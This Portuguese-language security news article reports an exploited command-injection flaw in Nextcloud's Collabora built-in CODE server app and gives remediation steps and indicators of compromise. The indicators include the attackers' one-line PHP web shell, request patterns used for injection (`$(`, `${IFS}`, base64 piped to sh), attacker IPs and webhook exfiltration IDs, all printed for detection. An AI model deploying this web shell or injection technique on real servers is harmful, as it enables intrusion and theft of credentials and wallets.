Atacantes exploraram uma falha no aplicativo opcional Collabora Online - Built-in CODE Server, do Nextcloud, para instalar scripts de acesso remoto em servidores Nextcloud. Três administradores relataram o problema no GitHub. O primeiro ataque registrado ocorreu em 10 de setembro.
Um script de acesso remoto é um arquivo pequeno que executa comandos enviados pelo atacante por meio de uma solicitação web, com as permissões da conta do servidor web. A falha permite que uma solicitação sem autenticação execute um comando no servidor, mas apenas quando o servidor local de documentos do aplicativo não está em execução, por exemplo, durante uma reinicialização ou atualização, ou após uma falha.
A Collabora corrigiu o problema na versão 26.4.303, em 11 de setembro, e publicou um aviso de segurança em 14 de outubro com o identificador
CVE-2026-110447
. A empresa alertou que desativar o aplicativo não é suficiente: é necessário atualizá-lo ou removê-lo.
Quem foi afetado
O aplicativo é publicado pela Collabora com o nome de pacote richdocumentscode. Ele baixa uma cópia do Collabora Online Development Edition (CODE) e a executa no próprio servidor Nextcloud.
Com isso, o Nextcloud Office pode editar documentos sem a necessidade de um servidor Collabora separado. A página do aplicativo na loja informa que ele é “para testes locais e uso fora de ambientes de produção” e “para uso pessoal ou de pequenas equipes”.
O aviso da Collabora abrange todas as versões anteriores à 26.4.303 e afirma que servidores independentes do Collabora Online não foram afetados. Um alerta publicado no fórum da comunidade Nextcloud em 3 de outubro esclareceu que instalações que usam apenas o aplicativo Nextcloud Office (richdocuments), sem o aplicativo integrado, não foram afetadas. Isso vale tanto para servidores Collabora executados em Docker ou instalados por um pacote Linux quanto para aqueles hospedados por um provedor.
O script proxy.php do aplicativo inicia o servidor CODE local quando recebe uma solicitação e não há nenhum processo atendendo. Nas versões até a 26.4.302, o script inseria o texto da solicitação, incluindo o caminho, em um comando do bash entre aspas duplas. Nesse contexto, o interpretador ainda executa qualquer conteúdo escrito como `$(...)`.
Uma solicitação com um comando oculto no caminho fazia com que ele fosse executado com as permissões do usuário do servidor web. Como o script só monta esse comando quando precisa iniciar o servidor, o ataque funciona apenas quando o servidor está parado, por exemplo, durante a reinicialização de um container, uma atualização ou uma falha.
O script é um arquivo PHP simples, executado diretamente pelo servidor web a partir da pasta do aplicativo, sem carregar nenhum código do Nextcloud.
“Desativar o aplicativo não é suficiente para evitar o problema. Ele precisa ser atualizado para a versão 26.4.303 ou posterior, ou removido”, afirmou a Collabora no aviso.
As versões corrigidas exigem o Nextcloud 30 ou posterior.
O Nextcloud 29 e as versões anteriores chegaram ao fim do suporte, e a loja do aplicativo ainda disponibiliza para elas uma versão vulnerável. Portanto, os usuários devem atualizar o Nextcloud ou remover o aplicativo. A correção da Collabora para outra falha de injeção de comandos no mesmo script,
CVE-2025-66208
, divulgada em dezembro passado, não impede este ataque.
O que os atacantes fizeram
O primeiro relato veio de um administrador que hospeda vários servidores Nextcloud. Em uma publicação no GitHub, ele afirmou que os servidores haviam sido invadidos desde o dia anterior. Os registros de acesso de dois deles mostram solicitações às 19h51 de 10 de setembro e às 9h56 de 11 de setembro, no fuso UTC+2. Ambas vieram do mesmo endereço IP e foram direcionadas a `proxy.php?status`, com um comando de shell oculto no caminho da solicitação. Todos os servidores do administrador usavam a versão 26.4.302.
O comando decodificou um script PHP de acesso remoto, escrito em uma única linha, dentro da pasta do aplicativo e tentou enviar a saída de `uname -a` do servidor para um endereço do webhook.site. Em um dos servidores, o atacante usou o script para procurar repositórios de credenciais e carteiras de criptomoedas. Entre os alvos estavam arquivos `*.kdbx`, `wallet.dat` e `keystore.json`, além de nomes como bitwarden, 1password, .bitcoin, .electrum, .monero e .ethereum.
As solicitações analisadas não continham comandos para compactar, enviar ou copiar arquivos para fora do servidor. Ainda assim, o administrador alertou que tudo o que a conta do servidor web podia ler deveria ser considerado potencialmente exposto.
Outros dois administradores relataram ataques semelhantes em suas próprias instalações. Um encontrou o script quando a verificação de integridade do Nextcloud identificou um novo arquivo PHP. O outro soube da invasão por e-mails sobre tentativas malsucedidas de usar sudo no servidor. Nenhum dos relatos indica que o atacante tenha obtido acesso de superusuário.
Depois de atualizar para a versão 26.4.303, um dos administradores registrou outra tentativa, em 14 de setembro, originada de um segundo endereço IP e com um payload semelhante. O servidor CODE iniciado continha o texto do ataque entre as opções de inicialização, mas nenhum novo arquivo de script foi criado. “A saída parece assustadora, mas deve ser inofensiva”, respondeu mmeeks, representante do projeto na discussão. Ele orientou os usuários a atualizar o aplicativo e remover quaisquer arquivos `shx*.php` restantes.
O registro da CVE descreve a falha como “explorada ativamente em setembro e outubro de 2026”. Não se sabe quantos servidores foram atingidos. “Isso afeta apenas a Development Edition e somente nesse modo de implantação, relativamente incomum, do servidor CODE integrado, que baixa uma imagem local do aplicativo”, escreveu mmeeks.
O que fazer agora
Siga estas etapas:
1. Atualize o richdocumentscode, exibido na lista de aplicativos do Nextcloud como Collabora Online - Built-in CODE Server, para a versão 26.4.303 ou posterior, ou remova o aplicativo. Desativá-lo no Nextcloud não elimina a falha.
2. Se você usa o Nextcloud 29 ou uma versão anterior, que não permite instalar a versão 26.4.303, atualize o Nextcloud ou remova o aplicativo.
3. Se já atualizou, procure arquivos `shx*.php`, começando pela pasta `apps/richdocumentscode`, e exclua-os. Em seguida, verifique os registros de acesso desde pelo menos 10 de setembro e procure solicitações a `proxy.php?status` cujo caminho contenha `%2e%2e`, `$( ` ou `${IFS}`. Também verifique tentativas de usar sudo pela conta do servidor web. Como recomendou o primeiro administrador, considere potencialmente exposto tudo o que essa conta podia ler.
4. A versão 26.4.402, lançada em 24 de setembro, reescreveu o comando de inicialização para passar cada opção como um argumento separado. No entanto, administradores relataram que ela não inicia ou não abre documentos em algumas configurações e voltaram à versão 26.4.303, indicada no aviso como a versão corrigida. Até 14 de outubro, não havia sido lançada uma versão mais recente.
Indicadores encontrados nos registros dos administradores
- **Arquivos:** shrf4645.php, shxa35d0.php, shx5cf91.php, shxd33ce.php e shxf4645.php, encontrados em `apps/richdocumentscode` nos servidores do primeiro administrador.
- **Arquivo:** shx13a86.php, encontrado por um segundo administrador. O local não foi informado.
- **Arquivo:** shx56367.php, nome associado à tentativa de 14 de setembro que não criou nenhum arquivo.
- **SHA-256:** 4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562, correspondente ao script de uma linha `<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');`.
- **Caminho:** `/apps/richdocumentscode/proxy.php?status`
- **Endereços IP:** 139.28[.]18[.]122, nos ataques de 10 e 11 de setembro; 89.38[.]98[.]50, na tentativa de 14 de setembro contra um servidor corrigido.
- **Indicadores nas solicitações:** `%2e%2e`, `$( `, `${IFS}` e `base64 -d` enviado para sh, todos no caminho da solicitação.
- **Domínio:** webhook[.]site, um serviço público, com os identificadores de retorno 45060ed4-de0b-4119-8f0d-2a2776bbd413 e 774cf5e1-b5a4-4174-a1ad-0241861029a2.
Correção lançada sem aviso de segurança
A alteração que corrigiu a falha consiste em quatro linhas no arquivo proxy.php. Agora, o comando de inicialização é enviado ao bash como um único argumento, com caracteres especiais protegidos, em vez de uma sequência entre aspas duplas. Assim, o interpretador que o recebe não expande o texto enviado na solicitação.
O histórico de alterações do repositório mostra que a mudança foi escrita em 20 de agosto por Caolán McNamara, que também publicou o aviso, com o título “organizar a forma como o comando de inicialização do coolwsd é montado”. A correção não foi incluída na versão 26.4.302, lançada em 31 de agosto, e foi registrada no repositório em 9 de setembro. O primeiro ataque registrado ocorreu em 10 de setembro. A versão 26.4.303 foi lançada no dia seguinte, com notas que mencionavam apenas a compilação integrada do CODE.
O administrador que relatou os ataques desativou o aplicativo enquanto aguardava uma correção. O aviso publicado posteriormente afirma que essa medida não é suficiente. Na discussão, mmeeks orientou os usuários a atualizar, prometeu “mais atualizações em breve” e mencionou um “acúmulo recorde” de análises no banco de dados de avisos do GitHub. Ele compartilhou uma publicação de junho na qual o GitHub informou que o processamento estava atrasado várias semanas.
Em 3 de outubro, um participante do fórum da comunidade Nextcloud alertou os demais usuários para atualizarem o aplicativo imediatamente, pois a falha “já estava sendo explorada” e “nenhum aviso ou CVE havia sido publicado”. A CVE e o aviso de segurança foram divulgados em 14 de outubro. O aviso atribui o relato a um usuário do GitHub, wwwshellcodeit. Nem o documento nem a discussão informam quando o problema foi reportado ou quando a Collabora soube que a alteração era uma correção de segurança.
Publicidade
Tenha acesso aos melhores hackers éticos do mercado através de um serviço personalizado, especializado e adaptado para o seu negócio. Guardsi: qualidade, confiança e especialidade em segurança ofensiva de quem já protegeu centenas de empresas. Saiba mais...